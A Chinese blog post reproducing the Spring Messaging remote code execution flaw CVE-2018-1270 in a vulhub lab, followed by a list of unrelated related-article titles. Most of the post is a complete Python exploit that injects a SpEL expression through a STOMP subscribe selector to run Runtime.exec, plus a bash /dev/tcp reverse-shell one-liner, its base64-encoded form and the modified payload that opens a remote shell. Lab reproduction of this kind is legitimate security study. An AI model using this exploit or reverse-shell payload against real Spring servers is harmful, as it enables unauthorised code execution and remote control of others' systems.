第一次发博客,记录一次复现过程。

漏洞描述:

Spring框架中通过spring-messaging模块来实现STOMP(Simple Text-Orientated Messaging Protocol),STOMP是一种封装WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条SpEL表达式消息造成远程代码执行。如果使用了Spring Security项目中的权限认证,可以在一定程度上增加漏洞利用难度。

1、WebSocket协议,是HTML5提供的一种可在单个TCP连接上进行全双工通讯的协议。即允许服务端主动向客户端推送数据。

2、SockJS,一个JavaScript库,它在浏览器和Web服务器之间创建了一个低延迟、全双工、跨域通信通道。另外由于WebSocket是HTML5新增的特性,一些浏览器可能不支持,因此回退机制就很必要。SockJS就提供了该功能,即优先使用WebSocket,当浏览器不支持WebSocket时,会自动降为轮询或其他方式。

3、STOMP(Simple Text Orientated Messaging Protocol),简单面向文本的消息传递协议,可以理解为它是对WebSocket协议的封装,可以类比http与tcp的关系。

漏洞复现 :

开启环境:

访问http://192.168.75.130:8080/

先点击Connect按钮与服务端建立连接,这时selector头也发送到了服务端:

发送消息与服务端通信时,发送的Spring表达式会被解析,从而造成rce。

利用vulhub中的exploit.py:

#!/usr/bin/env python3

import requests

import random

import string

import time

import threading

import logging

import sys

import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):

letters = string.ascii_lowercase + string.digits

return ''.join(random.choice(letters) for c in range(length))

class SockJS(threading.Thread):

def __init__(self, url, *args, **kwargs):

super().__init__(*args, **kwargs)

self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'

self.daemon = True

self.session = requests.session()

self.session.headers = {

'Referer': url,

'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'

}

self.t = int(time.time()*1000)

def run(self):

url = f'{self.base}/htmlfile?c=_jp.vulhub'

response = self.session.get(url, stream=True)

for line in response.iter_lines():

time.sleep(0.5)

def send(self, command, headers, body=''):

data = [command.upper(), '\n']

data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))

data.append('\n\n')

data.append(body)

data.append('\x00')

data = json.dumps([''.join(data)])

response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)

if response.status_code != 204:

logging.info(f"send '{command}' data error.")

else:

logging.info(f"send '{command}' data success.")

def __del__(self):

self.session.close()

sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')

sockjs.start()

time.sleep(1)

sockjs.send('connect', {

'accept-version': '1.1,1.0',

'heart-beat': '10000,10000'

})

sockjs.send('subscribe', {

'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",

'id': 'sub-0',

'destination': '/topic/greetings'

})

data = json.dumps({'name': 'vulhub'})

sockjs.send('send', {

'content-length': len(data),

'destination': '/app/hello'

}, data)

使用vi命令修改ip为靶机ip:

执行攻击脚本:

进入容器查看,成功创建success文件:

验证成功。

尝试反弹shell:

开启监听:

利用反弹shell指令:

bash -i >& /dev/tcp/your-ip/7777 0>&1

经base64编码后为:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjEzMC83Nzc3IDA+JjE=

修改EXP:

将:

'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')"

修改为:

'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjEzMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}')"

执行EXP:

shell反弹成功:

实现远程命令执行。

漏洞修复:

升级版本。

Spring-Messaging远程代码执行漏洞复现(CVE-2018-1270)相关推荐

  1. Spring Messaging 远程代码执行漏洞分析(CVE-2018-1270)

    文章目录 Spring Messaging 远程命令执行漏洞(CVE-2018-1270) 相关知识 WebSocket.SockJS和STOMP STOMP的消息结构和示例 Spring Messa ...

  2. spring framework远程代码执行漏洞复现(CNVD-2022-23942 CVE-2022-22965)

    3 月 30 日,国家信息安全漏洞共享平台(CNVD)接收到蚂蚁科技集团股份有限公司报送的 Spring 框架远程命令执行漏洞(CNVD-2022-23942).攻击者利用该漏洞,可在未授权的情况下远 ...

  3. 【安全风险通告】Spring Framework远程代码执行漏洞(CVE-2022-22965)安全风险通告第二次更新...

    奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 安全通告 近日,奇安信CERT监测到Spring Framework存在远程代码执行漏洞(CVE-2022-22965),在 ...

  4. Office 远程代码执行漏洞复现过程

    本文来自作者肖志华在 GitChat 上分享 「Office 远程代码执行漏洞复现过程」,「阅读原文」查看交流实录. 编辑 | 天津饭 直接贴本地复现过程,至于怎么利用还请自己思考. 2017年11月 ...

  5. [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  6. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  7. 安全修复之Web——Spring Framework 远程代码执行漏洞

    安全修复之Web--Spring Framework 远程代码执行漏洞 背景 日常我们开发时,会遇到各种各样的奇奇怪怪的问题(踩坑o(╯□╰)o),这个常见问题系列就是我日常遇到的一些问题的记录文章系 ...

  8. ThinkPHP 5.0.23 远程代码执行 漏洞复现

    ThinkPHP 5.0.23 远程代码执行 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1. 环境搭建 2. 漏洞复现 四.漏洞POC 五.参考链接 六.利用工具 一.漏洞描述 ThinkP ...

  9. 用友NC BeanShell远程代码执行漏洞复现

    用友NC远程代码执行漏洞复现 漏洞介绍 用友NC是面向集团企业的管理软件,其在同类市场占有率中达到亚太第一.该漏洞是由于用友NC对外开放了BeanShell接口,攻击者可以在未授权的情况下直接访问该接 ...

  10. IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现

    CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...

最新文章

  1. [从0到1编写服务器]准备知识
  2. mysql 常用命令 | 表间 弱关联 join
  3. Python学习之路day03——010函数(类似Java中的方法)
  4. 我的Go语言学习之旅六:做一个WIN的简单弹窗
  5. 漫画:什么是ZooKeeper
  6. db2 jdbc驱动参数_JDBC详细整理(一)
  7. mysql优化 坑_mysql之我们终将踩过的坑(优化)
  8. ubuntu 源、codename 与 sources.list 文件
  9. Sublime Text各种插件使用方法
  10. 上班摸鱼打卡模拟器微信小程序源码
  11. phpcms v9模板制作教程
  12. 吉林省辽源市谷歌高清卫星地图下载
  13. 黑莓7290无信号问题
  14. Apache2 Linux 的安装与介绍
  15. SharePoint 2013 开发中JavaScript本地化方案
  16. 有哪些高质量的英文有声书 audiobook?
  17. 用python按比例调整图片尺寸
  18. javascript之内置函数
  19. 视频教程-微信小程序商城15天从零实战课程-微信开发
  20. Linux系统必学必会知识点整理

热门文章

  1. 愚人节的一天(快乐+2)
  2. 巨杉数据库v5.0携手迪思杰深化战略级合作
  3. JS 调用打印机,打印HTML中的部分内容
  4. 法官批准离婚申请 布兰妮正式恢复“单身”(图)
  5. ShortcutBadger
  6. partial部分类
  7. 计算机维修基本技能考试试题,高级计算机维修工操作技能考核试卷
  8. 高质量的棋牌游戏开发如何改善好用户体验?
  9. mangle和demangle
  10. Android论坛大全